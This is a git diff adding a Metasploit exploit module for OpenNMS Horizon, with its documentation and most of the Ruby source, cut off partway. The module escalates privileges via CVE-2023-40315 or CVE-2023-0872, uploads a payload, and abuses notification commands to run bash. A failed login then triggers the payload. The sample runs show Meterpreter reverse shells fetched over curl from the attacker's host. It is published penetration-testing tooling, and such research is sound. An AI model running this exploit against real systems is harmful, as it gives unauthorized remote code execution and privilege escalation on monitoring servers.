diff --git a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md new file mode 100644 index 000000000000..8ca793b06656 --- /dev/null +++ b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md @@ -0,0 +1,237 @@ +## Vulnerable Application +This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. +For versions 32.0.2 and higher, this module requires valid credentials for a user +with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. +For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. + +The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version. +Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint +and if that fails, via `/rest/filesystem/contents?f=users.xml`. + +The module then uses the obtained OpenNMS version number and user privileges to see if exploitation is possible. + +If the user has `ROLE_FILESYSTEM_EDITOR` privileges and either `ROLE_REST` or `ROLE_ADMIN`, +exploitation is attempted directly, regardless of the OpenNMS version. + +If the user has `ROLE_ADMIN` privileges, exploitation is attempted, regardless of the OpenNMS version. +In this case, the module will first use the REST API to add `ROLE_FILESYSTEM_EDITOR` privileges for the user. + +If the target is OpenNMS version 32.0.1 or lower and the highest user privileges are `ROLE_FILESYSTEM_EDITOR` or `ROLE_REST`, +the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872, respectively. + +Once the user has the required privileges, the module takes the following approach to try and exploit the target: +- It uses `/rest/filesystem` to write a payload to a .bsh file on the target +- It uses `/rest/filesystem` to create a "notificationCommand" to execute the payload +- It uses `/rest/filesystem` to create a "destinationPath" to specify the "notificationCommand" +- It uses `/rest/filesystem` to create a "notification" for whenever an invalid login is performed to the web app. +This "notification" points to the "destinationPath". +- It uses `/rest/events` to reload the OpenNMS configuration +- It performs an invalid login to OpenNMS in order to trigger the "notification", which will trigger the payload. +The triggering of the payload can take several seconds, which is why the `WfsDelay` option is set to 15 by default. + + +This module has been successfully tested against OpenNMS version 31.0.7 + +## Installation Information +OpenNMS is open source software and is available on [GitHub](https://github.com/OpenNMS/opennms). +Documentation, including installation information, is available [here](https://docs.opennms.com/horizon/31/index.html). + +The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files, +one for the PostgreSQL database and one for OpenNMS Horizon: + +The PostgreSQL docker-compose file should look something like this: +``` +--- +version: '3' + +volumes: + data-postgres: {} + +services: + database: + image: postgres:15.5 + container_name: database + environment: + TZ: 'America/New_York' + POSTGRES_USER: 'postgres' + POSTGRES_PASSWORD: 'postgres' + volumes: + - 'data-postgres:/var/lib/postgresql/data' + healthcheck: + test: [ "CMD-SHELL", "pg_isready -U postgres" ] + interval: 10s + timeout: 3s + retries: 3 + ports: + - '5432:5432/tcp' +``` + +For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified: +``` +--- +version: '3' + +volumes: + data-opennms: {} + data-config: {} + +services: + horizon: + image: opennms/horizon:31.0.8 + container_name: horizon + environment: + TZ: 'America/New_York' + POSTGRES_HOST: '192.168.91.202' + POSTGRES_PORT: 5432 + POSTGRES_USER: 'postgres' + POSTGRES_PASSWORD: 'postgres' + OPENNMS_DBNAME: 'opennms-core-db' + OPENNMS_DBUSER: 'opennms' + OPENNMS_DBPASS: 'my-opennms-db-password' + volumes: + - data-opennms:/opennms-data + - data-config:/opt/opennms/etc + command: ["-s"] + ports: + - '8980:8980/tcp' + - '8101:8101/tcp' + healthcheck: + test: [ 'CMD', 'curl', '-f', '-I', 'http://localhost:8980/opennms/login.jsp' ] + interval: 1m + timeout: 5s + retries: 3 +``` +The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin. + +## Verification Steps +1. Start `msfconsole` +2. Do: `use exploit/linux/http/opennms_horizon_authenticated_rce` +3. Do: `set RHOSTS [IP]` +4. Do: `set LHOST [IP]` +5. Do: `set FETCH_SRVHOST [IP]` +6. Do: `exploit` + +## Options +### TARGETURI +The base path to OpenNMS. The default value is `/`. + +### USERNAME +Username to authenticate with. The default value is `admin` + +### PASSWORD +Password to authenticate with. The default value is `admin` + + +## Advanced Options +### PRIVESC_SAVE_DELAY +The time in seconds to wait for privesc changes to go into effect. This is used only when escalating privileges via CVE-2023-40315. +The default value is `3`. + +## Targets +``` +Id Name +-- ---- +0 Linux +``` + +## Scenarios +### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872 +``` +msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options + +Module options (exploit/linux/http/opennms_horizon_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD rest yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.91.196 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8980 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI /opennms/ yes The base path to OpenNMS + URIPATH no The URI to use for this exploit (default is random) + USERNAME rest yes Username to authenticate with + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 192.168.91.196 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME fZn no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST 192.168.91.196 no Local IP to use for serving payload + FETCH_SRVPORT 8081 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.91.196 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux + + +msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run + +[*] Started reverse TCP handler on 192.168.91.196:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872. +[+] The target appears to be vulnerable. User rest has ROLE_REST privileges. Exploitation is likely possible via CVE-2023-0872. +[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR +[*] Successfully edited notificationCommands.xml +[*] Successfully edited destinationPaths.xml +[*] Successfully edited notifications.xml +[+] Successfully uploaded the payload to rebxympptby.bsh +[*] Triggering the notification to execute the payload +[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute. +[*] Sending stage (3045380 bytes) to 172.20.0.2 +[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:56974) at 2023-12-13 17:30:55 +0200 +[*] Attempting cleanup... + +meterpreter > getuid +Server username: opennms + +``` + +### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315 +``` +msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file +username => file +msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file +password => file +msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run + +[*] Started reverse TCP handler on 192.168.91.196:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872. +[+] The target appears to be vulnerable. User file has ROLE_FILESYSTEM_EDITOR privileges. Exploitation is likely possible via CVE-2023-40315. +[*] Waiting 3 seconds for the changes to be saved... +[+] Successfully escalated privileges by adding ROLE_ADMIN +[*] Successfully edited notificationCommands.xml +[*] Successfully edited destinationPaths.xml +[*] Successfully edited notifications.xml +[+] Successfully uploaded the payload to thwjtslfaqsg.bsh +[*] Triggering the notification to execute the payload +[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute. +[*] Sending stage (3045380 bytes) to 172.20.0.2 +[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:51914) at 2023-12-13 17:40:16 +0200 +[*] Attempting cleanup... + +meterpreter > getuid +Server username: opennms + +``` diff --git a/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb b/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb new file mode 100644 index 000000000000..fb92e3e29f36 --- /dev/null +++ b/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb @@ -0,0 +1,961 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenNMS Horizon Authenticated RCE', + 'Description' => %q{ + This module exploits built-in functionality in OpenNMS + Horizon in order to execute arbitrary commands as the + opennms user. For versions 32.0.2 and higher, this + module requires valid credentials for a user with + ROLE_FILESYSTEM_EDITOR privileges and either + ROLE_ADMIN or ROLE_REST. + + For versions 32.0.1 and lower, credentials are + required for a user with ROLE_FILESYSTEM_EDITOR, + ROLE_REST, and/or ROLE_ADMIN privileges. In that case, + the module will automatically escalate privileges via + CVE-2023-40315 or CVE-2023-0872 if necessary. + + This module has been successfully tested against OpenNMS + version 31.0.7 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Erik Wynter' # @wyntererik - Discovery and Metasploit + ], + 'References' => [ + ['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2 + ['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2 + ], + 'Platform' => 'linux', + 'Arch' => 'ARCH_CMD', + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'RPORT' => 8980, + 'SRVPORT' => 8080, + 'FETCH_COMMAND' => 'CURL', + 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4), + 'FETCH_WRITABLE_DIR' => '/tmp', + 'FETCH_SRVPORT' => 8081, + 'WfsDelay' => 15 # It takes a while for the payload to execute + }, + 'Targets' => [ [ 'Linux', {} ] ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => '2023-07-01', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + + register_options [ + OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']), + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']) + ] + + register_advanced_options [ + OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3]) + ] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def privesc_save_delay + datastore['PRIVESC_SAVE_DELAY'] + end + + def notification_commands_file + 'notificationCommands.xml' + end + + def destination_paths_file + 'destinationPaths.xml' + end + + def notifications_file + 'notifications.xml' + end + + def users_file + 'users.xml' + end + + def check + # Try to authenticate + success, msg_or_check_code = opennms_login('check') + return msg_or_check_code unless success + + vprint_status(msg_or_check_code) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.jsp'), + 'keep_cookies' => true + }) + + unless res + return CheckCode::Unknown('Connection failed.') + end + + # If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this + # Instead, we should simply check if the HTLM body includes the expected title and version information + unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console') + return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.') + end + + # Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern + version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first + + if version.blank? + return CheckCode::Detected('Failed to obtain a valid OpenNMS version.') + end + + begin + rex_version = Rex::Version.new(version) + rescue ArgumentError => e + return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}") + end + + if rex_version < Rex::Version.new('32.0.2') + print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.") + else + print_status("The target is OpenNMS version #{version}.") + end + + # Check if we can access the user configuration file. There are two ways to do this: + # - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges. + # - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges. + # If neither of these work for us, RCE won't be possible. + success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first + unless success + success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next + return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly + end + + # Extract the privileges of the current user + success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check') + return privs_or_check_code unless success + + # Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges + if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR') + if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN') + # We don't need to escalate privileges here + @highest_priv = 'GOD' + return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.") + end + + @highest_priv = 'ROLE_FILESYSTEM_EDITOR' + elsif privs_or_check_code.include?('ROLE_ADMIN') + @highest_priv = 'ROLE_ADMIN' + return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.") + elsif privs_or_check_code.include?('ROLE_REST') + @highest_priv = 'ROLE_REST' + else + return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.") + end + + # If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN + # This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower + if rex_version >= Rex::Version.new('32.0.2') + return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.") + end + + cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR' + 'CVE-2023-40315' + else + 'CVE-2023-0872' + end + + CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.") + end + + # This method is use to handle failures based on the stage of the exploit + # + # @param mode [String] The mode to use: check, exploit or cleanup + # @param message [String] The message to display to the user + # @param status [String] The status to use: disconnected, unexpected_reply or no_access + # @return [Array] An array containing a boolean and a CheckCode or message + def deal_with_failure_by_mode(mode, message, status) + return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup' + + case status + when 'disconnected' + return [false, CheckCode::Unknown(message)] if mode == 'check' + + fail_with(Failure::Disconnected, message) + when 'unexpected_reply' + return [false, CheckCode::Unknown(message)] if mode == 'check' + + fail_with(Failure::UnexpectedReply, message) + when 'no_access' + return [false, CheckCode::Safe(message)] if mode == 'check' + + fail_with(Failure::NoAccess, message) + end + end + + # This method is used to perform a login attempt + # + # @param mode [String] The mode to use: check, exploit or cleanup + # @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not + # @return [Array] An array containing a boolean and a CheckCode or message + def opennms_login(mode, perform_invalid_login: false) + if perform_invalid_login + user = Rex::Text.rand_text_alpha(8..12) + pass = Rex::Text.rand_text_alpha(8..12) + keep_cookies = false + else + user = username + pass = password + keep_cookies = true + + res1 = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login.jsp'), + 'keep_cookies' => keep_cookies + }) + + unless res1 + return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected') + end + + unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console') + msg = if mode == 'check' + 'Target is not an OpenNMS application.' + else + 'Received unexpected response while attempting to access the OpenNMS Web Console.' + end + + return deal_with_failure_by_mode(mode, msg, 'unexpected_reply') + end + end + + # Try to authenticate + res2 = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'keep_cookies' => keep_cookies, + 'vars_post' => { + 'j_username' => user, + 'j_password' => pass + } + }) + + unless res2 + if perform_invalid_login + return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."] + else + return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected') + end + end + + unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp') + if perform_invalid_login + return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.'] + else + message = if mode == 'check' + 'Authentication failed. Please check your credentials.' + else + 'Received unexpected response while attempting to authenticate.' + end + + return deal_with_failure_by_mode(mode, message, 'unexpected_reply') + end + end + + # Authentication was successful + if perform_invalid_login + return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."] + end + + [true, 'Successfully authenticated'] + end + + # This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint + # + # @param file_name [String] The name of the file to obtain + # @param root_element [String] The name of the root element in the XML file + # @param element [String] The name of the element to obtain from the XML file + # @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure + # @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint + # @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document + def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true) + request_hash = { + 'method' => 'GET', + 'keep_cookies' => true + } + + if filesystem + request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents') + request_hash['vars_get'] = { 'f' => file_name } + else + request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name) + end + + # Try to obtain the file + res = send_request_cgi(request_hash) + + unless res + return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected') + end + + # when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element + if file_name == users_file + if filesystem + filesystem_root_element = 'userinfo' + else + filesystem_root_element = 'users' + end + else + filesystem_root_element = root_element + end + + unless res.code == 200 && res.body.strip.end_with?("") + return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply') + end + + # Parse the file + begin + doc = Nokogiri::XML(res.body) + elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text } + rescue Nokogiri::XML::SyntaxError => e + return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply') + end + + if elements.blank? + return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply') + end + + [true, doc] + end + + # This method is used to obtain the privileges of a user from the users.xml file + # + # @param xml_doc [Nokogiri::XML::Document] The XML document containing the users + # @param mode [String] The mode to use: check, exploit or cleanup + # @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges + def grab_user_privs(xml_doc, mode) + privileges = [] + begin + user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username } + if user.blank? + return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply') + end + + privileges = user.css('role')&.map { |r| r&.text } + if privileges.blank? + return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply') + end + rescue Nokogiri::XML::SyntaxError => e + return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply') + end + + vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}") + + [true, privileges] + end + + # This method is used to escalate or deescalate privileges + # + # @param deescalate [Boolean] Whether to escalate or deescalate privileges + # @return [Array] An array containing a boolean and a CheckCode or message + def escalate_or_deescalate_privs(deescalate: false) + # Establish some variables based on if we need to escalate or deescalate privileges + if deescalate + use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR' + mode = 'cleanup' + else + use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR' + mode = 'exploit' + end + + # grab and parse the users.xml file + success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem) + return [false, xml_doc_or_msg] unless success + + # Get the privileges of the current user as a sanity check + success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode) + return [false, privileges_or_msg] unless success + + # if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise + if deescalate && privileges_or_msg.exclude?(@role_to_add) + return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.'] + end + + # if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise + unless deescalate + if use_filesystem + if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST') + # We don't need to escalate privileges here + @highest_priv = 'GOD' + return [true] + end + + @role_to_add = 'ROLE_ADMIN' + else + if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR') + # We don't need to escalate privileges here + @highest_priv = 'GOD' + return [true] + end + + @role_to_add = 'ROLE_FILESYSTEM_EDITOR' + end + end + + # Add or remove the required role to the current user + if use_filesystem + # If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role + begin + user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username } + if user.blank? + message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges." + return deal_with_failure_by_mode(mode, message, 'unexpected_reply') + end + + if deescalate + role = user.css('role').find { |r| r.text == @role_to_add } + if role.blank? + return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.'] + end + + role.remove + else + user.add_child(xml_doc_or_msg.create_element('role', @role_to_add)) + end + rescue Nokogiri::XML::SyntaxError => e + return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply') + end + + # upload the edited users.xml file via the filesystem endpoint + success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode) + unless deescalate + # If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved + print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...") + sleep(privesc_save_delay) + end + return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen + else + # If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this + # /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role + res = send_request_cgi({ + 'method' => deescalate ? 'DELETE' : 'PUT', + 'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add), + 'keep_cookies' => true + }, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond. + + # 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed + if res && ![204, 304].include?(res.code) + return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply') + end + end + + # Get the users.xml file again to make sure our changes were saved + success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem) + return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen + + # Get the privileges of the current user again to make sure our changes were saved + success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode) + return [false, privs_or_msg] unless success + + # Check if our changes were saved + if deescalate + if privs_or_msg.include?(@role_to_add) + return [false, 'Failed to deescalate privileges. Manual cleanup is required.'] + end + + return [true, "Successfully deescalated privileges by removing #{@role_to_add}"] + end + + # If we are here, we are escalating privileges + unless privs_or_msg.include?(@role_to_add) + fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges') + end + + @highest_priv = 'GOD' + [true, "Successfully escalated privileges by adding #{@role_to_add}"] + end + + # This method is used to generate the XML document that will be used to add a notification command + # + # @param file_name [String] The name of the file to upload + # @param xml_doc [Nokogiri::XML::Document] The XML document to upload + # @return [Rex::MIME::Message] The post data + def generate_post_data(file_name, data_to_write) + post_data = Rex::MIME::Message.new + post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"") + + post_data + end + + # This method is used to upload an XML configuration file to the target + # + # @param file_name [String] The name of the file to upload + # @param post_data [Rex::MIME::Message] The post data to upload + # @param mode [String] The mode to use: exploit or cleanup + # @return [Array] An array containing a boolean and an optional message + def upload_xml_config_file(file_name, post_data, mode = 'exploit') + # upload the edited notificationCommands.xml file + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), + 'vars_get' => { 'f' => file_name }, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'keep_cookies' => true, + 'data' => post_data.to_s + }) + + unless res + return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected') + end + + unless res.code == 200 && res.body.include?('Successfully wrote to') + return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply') + end + + [true] + end + + def find_element_via_at_css(file_name) + if [destination_paths_file, notifications_file].include?(file_name) + return false + end + + true + end + + # This method is used to edit an XML configuration file + # + # @param file_name [String] The name of the file to edit + # @param root_element [String] The name of the root element in the XML file + # @param element [String] The name of the element to edit in the XML file + def edit_xml_config_file(file_name, root_element, element) + # First we need to get the current #{file_name} file, so we can edit our #{element_name} in it + _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit') + + # update the xml document with a new element + new_value = Rex::Text.rand_text_alpha(8..12) + case file_name + when notification_commands_file + xml_doc = add_notification_command(xml_doc, new_value) + when destination_paths_file + xml_doc = add_destination_path(xml_doc, new_value) + when notifications_file + xml_doc = add_notification(xml_doc, new_value) + end + + # upload the edited #{file_name} file via the filesystem endpoint + upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit') + + # generate global variables for cleanup + case file_name + when notification_commands_file + @notification_command_name = new_value + when destination_paths_file + @destination_path_name = new_value + when notifications_file + @notification_name = new_value + end + + # Get the #{file_name} file again to make sure our #{element_name} was edited + _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit') + + # Check if our #{element_name} was edited + if find_element_via_at_css(file_name) + full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value } + else + full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value } + end + + if full_element.blank? + fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited") + end + + print_status("Successfully edited #{file_name}") + end + + # This method is used to add a notification command to a Nokogiri XML document + # + # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to + # @param notification_command_name [String] The name of the notification command to add + # @return [Nokogiri::XML::Document] The updated XML document + def add_notification_command(xml_doc, notification_command_name) + # A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload. + + # Update the xml document with a new notification command + notification_comment = Rex::Text.rand_text_alpha(6..10) + + notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed + name = xml_doc.create_element('name', notification_command_name) + execute = xml_doc.create_element('execute', '/usr/bin/bash') + comment = xml_doc.create_element('comment', notification_comment) + argument = xml_doc.create_element('argument', 'streamed' => 'false') + argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}") + argument.add_child(argument_switch) + + notification_command.add_child(name) + notification_command.add_child(execute) + notification_command.add_child(comment) + notification_command.add_child(argument) + xml_doc.at_css('notification-commands').add_child(notification_command) + + xml_doc + end + + # This method is used to add a destination path to a Nokogiri XML document + # + # @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to + # @param destination_path_name [String] The name of the destination path to add + # @return [Nokogiri::XML::Document] The updated XML document + def add_destination_path(xml_doc, destination_path_name) + # A destination path points to a specific group or user that will receive a notification when a notification is triggered. + # It also indicates which notification command should be executed when the notification is triggered. + # We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered. + + # Update the xml document with a new destination path + destination_path = xml_doc.create_element('path', 'name' => destination_path_name) + target = xml_doc.create_element('target') + name = xml_doc.create_element('name', 'Admin') + command = xml_doc.create_element('command', @notification_command_name) + target.add_child(name) + target.add_child(command) + destination_path.add_child(target) + xml_doc.at_css('destinationPaths').add_child(destination_path) + + xml_doc + end + + # This method is used to add a notification to a Nokogiri XML document + # + # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to + # @param notification_name [String] The name of the notification to add + # @return [Nokogiri::XML::Document] The updated XML document + def add_notification(xml_doc, notification_name) + # A notification is triggered when a specific event occurs, and can be configured to call a specific destination path. + # We need to add a notification that will trigger our destination path so that our notification command gets executed. + + # Update the xml document with a new notification that will be triggered when a user fails to authenticate + # since that is something we can easily trigger ourselves + notification_message = Rex::Text.rand_text_alpha(6..10) + + notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on') + uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure') + # We need to add a rule for the IP. Let's use a negative 